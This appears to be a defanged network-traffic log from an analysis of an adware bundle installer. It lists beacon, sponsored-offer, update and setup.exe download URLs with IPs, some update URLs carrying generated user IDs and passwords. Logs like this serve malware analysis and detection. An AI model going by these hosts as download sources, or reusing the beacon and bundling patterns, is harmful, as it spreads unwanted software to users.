hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1Wp3jNnuGZ/QCM8BjoE4r5ojgb6v7cXpPtX8qMQRZgpmz/9fsKQO4 yu6aPorR5b/Qlc4m6AJLdytjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29rkDhkj pW/AQ2eWpXLw36n2GEhN6X9rzK3CmI5sRuAO7g2Hxzmvv3kGgfYmnwuwps=	54.230.202.140
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=/9ZmISdorEvwl4DCqEaRhOjTgYXDnI1t62ls PLHCLAq gheK7Gg4DYaplvWkff44nTb6ugC6CtUYVwTD vJv0oIBKdHi0VzXMDHq/fGLl9cc7Myhd t67Mh5HNq1rWG6F60BcQWyjYd3lq0kFqZiozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbcvKYfodYqVcHnj MDoRjrr4E0iP6q3TWDJTyIucq7QEGOUFJwpMgLV/y7KHv6C6tgiPEBnZzvGTAHl6w3H159Q==	54.197.238.106
hxxp://www.google-analytics.com/r/__utm.gif?utmwv=5.6.3&utms=2&utmn=1732685760&utmhn=www.easy-burner.com&utmcs=utf-8&utmsr=1716x901&utmvp=1189x539&utmsc=24-bit&utmul=en-us&utmje=1&utmfl=-&utmdt=Easy-Burner&utmhid=209281727&utmr=-&utmp=/en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&utmht=1424743400165&utmac=A-12585577-60&utmcc=__utma=106045591.350837813.1424743400.1424743400.1424743400.1;+__utmz=106045591.1424743400.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=1480552523&utmredir=1&utmmt=1&utmu=rACgAAAAAAAAAAAAAAAAAAAE~	173.194.113.194
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8a7f8cc0-b6a0-4d37-a17c-90a0a499110d&Password=5af2Sl0a&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1424743356&SBPIDS=0
hxxp://www.easy-burner.com/images/content-top-shadow.png	178.33.88.171
hxxp://install.sourceapp.info/if?alpha=OgcnIFhtWFd7bgwCCApXO0N0LVg6WysIVQ80MzEdaFttZx0vdkQJc3oWbldJJgd7M3F4CB0vGCYAc2JOPUxZIzBVDWc6X21NaGYAB1Y+DQc4GmQgEm9Vf15eTh0tYTA8Sw1ELmpmIyM0PFgzJAoXDCN1JD8FTFdsVwF/eFhqAVZDdgFZOUUAMh9KfFEaZBYXHitDNyxCIQFkGlVOaSRnWjxUZTRecXovVDA5Qy1yXDBjYCopYyQBYkZ5QyNqGmoEKWJxMghkPEBrRTgnDUYZUEhfeho3JlFzfi0PVSkKMz0HeB87Y1AIInkCaX8GJzYPYgxwLGAsLgpkT2QMCyUdfQ0Yf3gQFQJlAD8EdmYdQRcxDAUuTmIyXXNcIwBIMnk1JBF+FSJpA39xN1AoOVs8IAlnAWEgZnwoGncKZlAlJ141Qlo+LkJaJmAPNQw8UFMRWwgNAmgDRC9daFcmTDsIOGE3ByVAJXBQa215VHY1DC13T2sYImklOnNff0srAXZ2Sz9YXiYkVgRvPF9hXDUzWQIKNzMdKVl0bRRKfzUNGhl5QzsGeBMqak0Ma0QlVUFVT39KPQFWIGJjIhwVS2hjTCZf	70.186.131.141
hxxp://logs.ourinfoonlinestack.com/monetization.gif?event=4&ibic=27B9CE5956064EA68E6419D90F46D27BIE&verifier=b5a8ce9b2fd904f8d63dd177efc4c201&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1424743349&asw=0_1073750533_-2147474944_0&browser=ff&rnd=1424743349	69.16.175.42
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc=	93.184.220.29
hxxp://5k9v3bc1-enehfzfv.netdna-ssl.com/app/t.ashx?uid=78116d2d-d3b5-4062-b3b8-b2539525da70&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy5lYXN5LWJ1cm5lci5jb20vZW4vc29mdHdhcmUvaW5zdGFsbC8/Y2FtcGFpZ249MTQ3NzYmZW1lPSZ0aW1lc3RhbXA9MTQyNDc0MzIzNTExNjk0OCZ0cmFja2VyPTIyMDAmdGs9Zjg2OGZkYzg2YWY2NDliZTc5ZTkxY2EwMDBhOTBiMTAmbXNvPTUmbXNzPTMmc2VkPTgmc3VpZD1GRDh2aWJOX1UmZG93bmxvYWRfY291bnRyeT1lbiZtcz01JnN0YXR1cz01Jm1zMj0wJnN0YXR1czI9MCZtczM9MCZzdGF0dXMzPTAmc21zPTAmaXRpbWU9MTQyNDc0MzM1NCZwcz0wJnBfc3RhdHVzPTE=&prd=ShopperPro&os=Win32&id=1424743399&aff=JSsmtycl&ver=2.5.8305.1508&usid=2858020935-2156992550-3658131804	198.232.124.192
hxxp://install.sourceapp.info/mg?alpha=MBJOInguIQwpFUgWYQh3D1sMMX1uAUoeOEsfEyUmZRZjdD1zLRlZFDRSJiwqGARWAXZDYT0kTy4QAnZsNjYvIw5eFXg7Cxc/WC4pWkFhGHdyDkhzJCYXG0N4RnxMfWQ2QxIpfWVuTkkWMlBSJClsBEt3BDByeWM3b0lffytkUW9zA14QBjt a0teLS9NGDhNcHUKXi5iKxQNCyYVcU0zBldyCzgx	70.186.131.141
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1WYSQXKBzk9X6XwtLXz/thLs IILilpWF1CwZZVFr3GqEWlOV1/Fwps4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE2/h64BfddrZNA==	54.230.202.140
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.2635847020696706	78.138.127.15
hxxp://ocsp.omniroot.com/baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnpGo=	93.184.220.20
hxxp://www.appshat.com/thumbnails/icon/images/assets/d/d/ddb3b88cf98eb0220c9e6c252e376749.png	78.138.127.8
hxxp://errors.ourinfoonlinestack.com/utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1424743356	54.231.0.156
hxxp://www.bigspeedpro.com/webplayer/appshat/config.json	78.138.126.82
hxxp://online.GOOBZO.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://www.appshat.com/images/16x16.ico	78.138.127.8
hxxp://dl.ourinfoonlinestack.com/smt2b/all/hat/row/setup.exe_c	69.16.175.10
hxxp://www.easy-burner.com/images/background.png	178.33.88.171
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=f75ccf11-a920-4df5-85cd-a4f65d27cbf9&Password=LlonLfTh&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1424743304&SBPIDS=1&KA=1	212.143.22.214
hxxp://www.googleadservices.com/pagead/conversion.js	173.194.113.218
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1UCFMPu/XF4Lika8ANLts6GMOD1JqSN m2HMa5E8LXYXQijcfGynTXw2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2uQOGSP6lb8BDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eQaB9iafC7Cmw==	54.230.202.140
hxxp://b.scorecardresearch.com/b?c1=7&c2=2000001&c3=1&rn=1128bog&c7=http://www.easy-burner.com/en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&c8=Easy-Burner&cv=1.7	87.245.221.112
hxxp://api.jollywallet.com/affiliate/client?dist=141&sub=iF2OwJSsmtycl&name=ShopperPro	54.88.228.222
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?fec9cd7b0db89256	87.245.221.107
hxxp://s7.addthis.com/static/r07/core201.js	185.31.17.184
hxxp://install.sourceapp.info/fp?alpha=OgcnIFgTBDdkQzIoCApXO0N0LVg6WzFRGR0GZj8EPRMqIB44diVQNExNOFIJe2dQBiEndTwgHjsJdH8/IlNbICsgABBKL2tSNTNOH1NcLUd5BiRsBi0fcFRdRGknYk0/U2Y0XGp9Ll80PUA7OwpgFCp0Jzt5SSYHJwF2flhtEQUtSClCNH4Ldl43NQkSF1lOSikbMXZVPFN6TF1NeSM3WW1fazVZf3onRjAxVWkkGTUWMidwKiVLNEh7DBYkEWoMAmg+MFA2ZAA0B25yVBNEQTI+DA1zM1AhAHJdWUxvJWBSbRUnOzo2JXMJcXtVT3NfM092IGZUPUorGSIGdEZYehcCdCMlBW08Wh9eNzh8TgAgU1wNHiBsdSUBdkFZTG8sEEZPUQlCKW0BWlMFazNW	70.186.131.141
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=KSz5qzb2KgLgYhkkxDuat kCkRqCe6co7OXLse4BafSoipMojeRGOY2 5cMBkwSYtd YwXVgml BNIj qt01gyU8iLnKu0BBjlBScKTIC1f8uyh7 gurRsgiMVE/woTKPuMdH9xkPFYS5k6/5B5fAS Pt0yz4mG4u3oGHN86wMVvLxh6eIKnHvKbjUyzCCcFAL52sIXt4WvqlYaxbLxssmdOYlMc5582M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2uQOGSP6lb8BDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eQaB9iafC7Cmw==	54.230.202.140
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=b1dRW7RxYKdJjQ9qCj/WvbKW jgHPjrHhlayNm4kVPIicvsFwQStECv5F5wArPI/YCpHZc9ZUaG4NIBMq aAlNZDXSYpq/nUqIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaeXM3AOyMolL4gXfkICGh925RhGZE 4NZmE/1e1gQHwqYCKfWShVRE5nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYJHseVKQaMUzbwgw3rD0uB2wUbmkSx2152AdmVShyM9BYTBiHIO2K3YaWG5orp2ppr3ctykbyRNvSmHP4Ozv8O5eEKXCI1fi6Q==	54.197.238.106
hxxp://www.google-analytics.com/ga.js	173.194.113.194
hxxp://www.appshat.com/thumbnails/icon/images/assets/f/3/f3ad8b396434c21b4c214fd667ee391d.png	78.138.127.8
hxxp://dl.ourinfoonlinestack.com/smt2b/all/hat/row/setup.exe_d	69.16.175.10
hxxp://xs3hgr0g-l8bu4n1j.netdna-ssl.com/api/geo?callback=Beat1110011063366548386677_1424743399819&_=1424743399820	198.232.124.192
hxxp://static.ak.facebook.com/connect/xd_arbiter/DU1Ia251o0y.js?version=41	87.245.221.82
hxxp://errors.ourinfoonlinestack.com/utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1424743359	54.231.0.156
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8a7f8cc0-b6a0-4d37-a17c-90a0a499110d&Password=5af2Sl0a&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&XMLUpdateFailed=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1424743307&SBPIDS=0
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/2/52d5414e7372639389ab7e9e4d479aee.png	78.138.127.8
hxxp://www.appshat.com/images/3.5stars.jpg	78.138.127.8
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=uWabAt9SLcwd5zMhdw4gNt0cltsObsHANDxd868wyPhAXdQqxJ1va0uGoedNVFAuIR1sKxPFdTenMA0Kr2gT8ptsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxeYneqzwGmJHpKb81Sa5kgtoqKD5 RG1khKbjxL3vJrvBNvUxdy4Ypecp9QVJKf6axzXS3sEdveAyMpFjoih9vsI2PDdMlVpp 15ypFCsb9bHtcWuS9XX1JnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoU bIg4xIYuq nZqXfCJ/fZEh4y553lLc6pAHiQrZRJ /sUSfHhp7x	54.230.202.140
hxxp://inst.shoppingate.info/js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=iF2OwJSsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=78116d2d-d3b5-4062-b3b8-b2539525da70&apptitle=ShopperPro&channel=iF2OwJSsmtycl	198.232.124.37
hxxp://crl.microsoft.com/pki/crl/products/WinPCA.crl	87.245.221.107
hxxp://install.sourceapp.info/ii?alpha=OgcnIFgjSExaYwoWCApXO0N0LVg6WysIVQ80MzEdaFttZx0vdkQJc3oWbldJJgd7M3F4CB0vGCYAc2JOPUxZIzBVDWc6X21NaGYAB1Y+DQc4GmQgEm9Vf15eTh0tYTA8Sw1ELmpmIyM0PFgzJAoXDCN1JD8FTFdsVwF/eFhiFFYjOBIIZzxfbkUxJxNEBE9PUnodIHcSeFckLhoTZHw3DHwKJHQIeS9yAER6Gl0rCGYPImstOHFJPBsgBHR9WGgHBFxxBwgAX0g0GHVsTRMKNhcELERmMhg8BHZBChUtMz0HegM5OyA2KGUJdWcTfzZuP092KmN5YU4yemReICkNfAsEfn8IFRssTi0Oc2ZUGVlBREp+BSBvAyoCc0wbGStjOxdpRjtnDjRrLUY3JkUteUo6QHwiKU8vHn5DZVlmZCthCx91ekRmIW0aPhgoM1MAClVYBHpbLDgSfUR/VVhQaCVgUmEHdjZdZX4nXDM+TzknA2YQKHIgLCUNL3xbRic+GyNCPV1pBUcwLDgyGXVgXBoXMl45C3hYYXB1QSlMLBkvfDERKgMlZVBubW1bN21kSXl8OUM=	70.186.131.141
hxxp://www.superfish.com/ws/sf_preloader.jsp?dlsource=viktczu&userId=78116d2dd3b54062b3b8b2539525da70&partnername=ShopperPro&CTID=xUSIF2Owsmtycl&ver=2015.2.22.7.48	66.70.34.111
hxxp://www.appshat.com/js/lightbox.js	78.138.127.8
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=KC52kqqAunCf05G2dnM6gEElidWabup/qLyqyeqrbnpSxKnyZZfBI2bktPzt6Fdq2Mmy0imF8H5kTJzJ6ARN 2QatdFhX0zIYCpHZc9ZUaG9AEuBwweR31o8H6qezB8RbcWSjP4xZHBmYA1eYstdQCX1qBcC9A4kJ9S0hCZVgoupoWpTVOft0GdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUOW6k3eHz83KB92dtdmPF80fhyJSKOx30vCYzjSA6JT3o IxZJnUl9W4uZ/p4emFS336Kc9MtkO2A==	54.197.238.106
hxxp://www.appshat.com/thumbnails/banner/images/assets/c/1/c16ddcefe8d9f0d1f850dfcd8f36687d.jpg	78.138.127.8
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=mystartsearch&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.09634744334768447	78.138.127.15
hxxp://s7.addthis.com/js/250/addthis_widget.js	185.31.17.184
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1V7T8dW3vpmMBQC drCF7eFnfXu8jqisF9cJKC1Reo3n9ppTNOjE5 LPSZuizlKZS4vVGidJQzQbwcX153juosl0uSr4audwd7JcEM/wt3T7JEXnUcAfrYQBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxL8k8mbBwY k97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9A/NrfOEITMy	54.230.202.140
hxxp://mscrl.microsoft.com/pki/mscorp/crl/msitwww2.crl	68.232.34.200
hxxp://online.GOOBZO.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://dl.ourinfoonlinestack.com/smt2b/all/hat/row/setup.exe_a	69.16.175.10
hxxp://www.appshat.com/images/4.0stars.jpg	78.138.127.8
hxxp://connect.facebook.net/en_US/all.js	23.64.223.139
hxxp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl	87.245.221.107
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=appshat_madness&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.02998318422499119	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=A8MIvlEETmb4YOj/qSs/oHlL/fEssKcT1VMaOJFqXYpp96vRIJy/LjtUHaZBOE lG2RzYeimzUC1Lb8eQ47a9NfsIo7eBvLt Wgq24409ekYDoh5Jvsx/nwF8xC533FcNLVXkHqu5mvMMv39XlAOU69kXRc7pJh5b GEwPiedNL4s2O1I39PFhQC drCF7eFTQFnMmNWIUICT3 w1I1isDkUNguZTdpF2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2uQOGSP6lb8BDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eQaB9iafC7Cmw==	54.230.202.140
hxxp://www.appshat.com/css/product.css	78.138.127.8
hxxp://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68=	108.162.232.196
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=k64GogClQtXdHJbbDm7BwGZ7lbP1mZCG3RDD4M2MKnlkNeKJ xgctdGdqHePycrYkgTqbaWGToUekaCddE1NLOgga322f3p0fD6sFy6LlDEeU1 iuCr9NrXfmMF1YJpfvgTSI/qrdNYMlPIi5yrtAQY5QUnCkyAtX/Lsoe/oLq27PG9jP dJwhfPsjAwYrz0BON6bpifNP90ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1qRNOqwwuFyj0 0cMtGNyywAxYoVuMAV9tXCHiMucx6i2/WJ2G9upmyM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj26C9PLeYwYaPTl2pfP1 VePJP/73oX7JAjsPf/PibBcqlZpXKxBRqV97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9Bn2i9ceuXU1hfCqXqcp6BQ=	54.197.238.106
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEApfEU0DWxeRF9Lv1AOMPzs=	93.184.220.29
hxxp://www.appshat.com/images/btn_bg.jpg	78.138.127.8
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8a7f8cc0-b6a0-4d37-a17c-90a0a499110d&Password=5af2Sl0a&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1424743303&SBPIDS=1&KA=1	212.143.22.214
hxxp://www.appshat.com/home	78.138.127.8
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=mystartsearch&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=2&index_in_screen=1&index_in_session=2&0.9199674158321154	78.138.127.15
hxxp://dfb5uyoqjsg4c.cloudfront.net/install.ashx?e=c0XmKevqA0ndHJbbDm7BwIyp m/7a4PRWca3XTKXJfYriJQgYTNdKsv4S/K6mfkWhIAbznvPq9KP4omGccpXw5rIwN71P9KYFvyok9r58R6b87aptZLNDFA1P6i6ssaToXvV0ACP4NMVyaunraoeQQeRzm SyrO9PGH ugOdU1dJ9zwWOe4GWkqTRYdykYznQcOav1fvIInFToJxGXpok7Mp5a5JKLY8X/Ids2k5atVsyKOAeffYe9Vu8F6/WpR4RSC BdF H7Hs7aVvLYdzYdCtLI2jnxFtO2YKgZHX2edYluIlhKckqejXQuHaKGTBrNY0MH32 Vpli0vhDt6hccxbZzrrWlFPRVquFz8IHIPiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmjpB9iJ5C2tEAebAnsXQ5mE=	54.230.201.219
hxxp://www.appshat.com/images/logo_illust.jpg	78.138.127.8
hxxp://install.sourceapp.info/mg?alpha=Mw4XIkIoFHYgOHE2OAhNDEdVMUdtUngyXB8NKw==	70.186.131.141
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8a7f8cc0-b6a0-4d37-a17c-90a0a499110d&Password=5af2Sl0a&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1424743305&SBPIDS=0
hxxp://www.appshat.com/thumbnails/icon/images/assets/d/a/da84c206c2019448521379d2ff837774.png	78.138.127.8
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1XZGSjSNMjhLtXDXZHqh b9jyJC8MAmcYofyqeYLIru/skFM nYXmDEL4yGuSrT3L8Da67vNBCQrfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLJbqTd4fPzcoH3Z212Y8XzR HIlIo7HfS8JjONIDolPeAcfYBe5Vmlg=	54.230.202.140
hxxp://errors.ourinfoonlinestack.com/utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1424743356	54.231.0.156
hxxp://www.easy-burner.com/en/software/pixel?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&ua=Internet Explorer 10.0&sys=Windows 7&cookie=-1	178.33.88.171
hxxp://vassg141.ocsp.omniroot.com/MFUwUzBRME8wTTAJBgUrDgMCGgUABBS856ddZAq5lE7vDJmoUDW1u98SMAQU3WyAfLq1MhelhEFA8NIEZhMvqZACFGozgiJkrf5JafrJHx/pwJ6+De+O	87.245.221.97
hxxp://bi.bisrv.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=3&index_in_screen=1&index_in_session=3&0.5635600176559371	78.138.127.15
hxxp://dl.newinputinfoservice.com/smt2b/all/hat/row/setup.exe	69.16.175.10
hxxp://www.appshat.com/thumbnails/icon/images/assets/1/3/13ca8e322e15bc394d66a37bec12e3b4.png	78.138.127.8
hxxp://www.easy-burner.com/images/orange-bar.png	178.33.88.171
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=3&index_in_screen=1&index_in_session=3&0.49630224346636853	78.138.127.15
hxxp://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl	87.245.221.107
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=9g1KGrSSDbH4YOj/qSs/oP49U5NJcaex1VMaOJFqXYpp96vRIJy/LjtUHaZBOE lG2RzYeimzUC1Lb8eQ47a9NfsIo7eBvLt Wgq24409ekYDoh5Jvsx/nwF8xC533FcNLVXkHqu5mvMMv39XlAOU69kXRc7pJh5WLazpewXw1jJn1GegIILyOsrHZsRsIfMRhg0WUsz0XmIajF ylV 6H8YWruN4e6MTuXTWi43QJZRquGFGeLBjb8FoeejtcWc2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2uQOGSP6lb8BDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eQaB9iafC7Cmw==	54.230.202.140
hxxp://www.appshat.com/thumbnails/icon/images/assets/c/c/cc3148e57a2928cd1ada1bbea553c3c2.png	78.138.127.8
hxxp://as.perfcreatives.com/eas?cu=25377&eme=WBrH3sO4	178.33.88.164
